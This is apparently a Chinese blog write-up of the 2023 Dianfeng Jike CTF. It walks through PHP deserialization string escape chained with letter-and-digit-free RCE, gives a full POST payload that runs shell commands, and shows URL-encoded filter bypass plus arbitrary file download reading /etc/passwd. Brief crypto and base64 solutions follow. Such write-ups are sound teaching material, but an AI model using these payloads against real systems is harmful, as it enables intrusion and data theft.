目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. unserialize(复现)
    2. 2.2. hinder(复现非预期)
    3. 2.3. hellosql(待解决)
    4. 2.4. BabyURL(待解决)
  3. 3. Crypto
    1. 3.1. 数学但高中
  4. 4. MISC
    1. 4.1. welcome

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

巅峰极客2023

2023/7/21 CTF线上赛
  |     |   总文章阅读量:

前言

web一题没出,等大佬的wp了

Boogipop大佬的wp

EDI战队的wp

环境复现

Web

unserialize(复现)

字符串逃逸+无字母数字rce

有铸币忘了先扫一下看看有没有源码泄露,对着一个登录框试了半天

www.zip下载源码

index.php

<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
	$root = $_POST['root'];
	$pwd = $_POST['pwd'];
	$login = new push_it($root, $pwd);
	$_SESSION['login'] = b(serialize($login));
	die('<script>location.href=`./login.php`;</script>');
}
?>

可以看到这里我们POST传参的root和pwd会进入push_it类,跟踪push_it

来到my.php

<?php
class pull_it {
	private $x;
	function __construct($xx) {
		$this->x = $xx;
	}

	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}
		@eval($this->x);
		}
	}	
}
class push_it {
	private $root;
	private $pwd;

	function __construct($root, $pwd) {
		$this->root = $root;
		$this->pwd = $pwd;
	}
	
		function __destruct() {
		unset($this->root);
		unset($this->pwd);
	}

	function __toString() {
		if (isset($this->root) && isset($this->pwd)) {
			echo "<h1>Hello, $this->root</h1>";
		}
		else {
			echo "<h1>out!</h1>";
		}
	}
}
?>

可以看到pull_it类中存在eval方法可以进行命令执行,同时过滤了字母和数字,则要进行无字母数字rce

然后在序列化后调用b方法,跟踪b方法

来到function.php

<?php
function b($data) {
	return str_replace('aaaa', 'bbbbbb', $data);
}
function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}
?>

是把字符串延长的方法,很明显会用到字符串逃逸

然后就存储在$_SESSION

来到login.php

<?php
session_start();
include_once "my.php";
include_once "function.php";
if (!isset($_SESSION['login'])) {
	echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}

$login = @unserialize(a($_SESSION['login']));
echo $login;
?>

先调用字符串减少的方法a后进行反序列化,最后会echo $login以字符串形式输出结果

所以思路很清晰了:

$root$pwd是我们要传入的参数,传入参数进入push_it类,因为最后会echo $login以字符串形式输出结果,所以会调用__toString方法,要想利用pull_it类,我们需要利用字符串逃逸的方法构造带上序列化后的new pull_it()的序列化字符串

同时,我们需要进行无字母数字RCE,这里采用取反的方法来绕过(私有属性,记得url编码)

注:因为传入的取反命令是以url编码的形式,所以对应的s的值要以url编码前的长度为准

<?php
class pull_it {
	private $x;
	function __construct($xx) {
		$this->x = $xx;
	}
}
$code1="system";
$code2="ls /";
$a=new Pull_it("(~".urlencode(~$code1).")(~".urlencode(~$code2).");");
echo (serialize($a));
// 这里为了方便观察不做url全编码,自行编码了%00不可见字符
// O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:37:"(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);";}
// 正确的序列化字符串为
// O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:17:"(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);";}

然后进行字符串逃逸,逃逸长度等于";s:自定义长度:"自定义长度字符串";,即pwd参数位置的长度,这里长度为14

手搓前一段payload闭合:root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"hello";

最终Payload:

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"hello";O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:22:"(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);";}

建议使用burp发包

image-20230723233325151


hinder(复现非预期)

题目描述让我们访问/hinder

直接访问被拦截

image-20230725114012969

这里可以用url编码实现绕过

/%68%69%6e%64%65%72/

image-20230725114248279

发现hint,是一个文件任意下载的路由

尝试读取/etc/passwd

image-20230725114626713

读取成功

接下来尝试直接读/flag但是没成功

再尝试读/start.sh、/run.sh等出题人常用Docker启动脚本(

image-20230725114951165

非预期会在run.sh中发现flag的路由,复现环境没给这个文件

#echo $FLAG > /oh_u_f1nd_me

访问即可获得flag


hellosql(待解决)

笛卡尔积延时注入


BabyURL(待解决)

SignedObject二次反序列化


Crypto

数学但高中

misc(确信

给了一个全是坐标的附件

找个在线的图形计算器输一下就能看到flag了

image-20230721163335307

flag:

flag{Funct10n_Fun}


MISC

welcome

base64

base64解码ZmxhZ3tQZWVrZ2Vla18xc19BX0dyM2E3X2VWZW43X2Ywcl9ldjNyeV9DVEZlcn0=

得到flag{Peekgeek_1s_A_Gr3a7_eVen7_f0r_ev3ry_CTFer}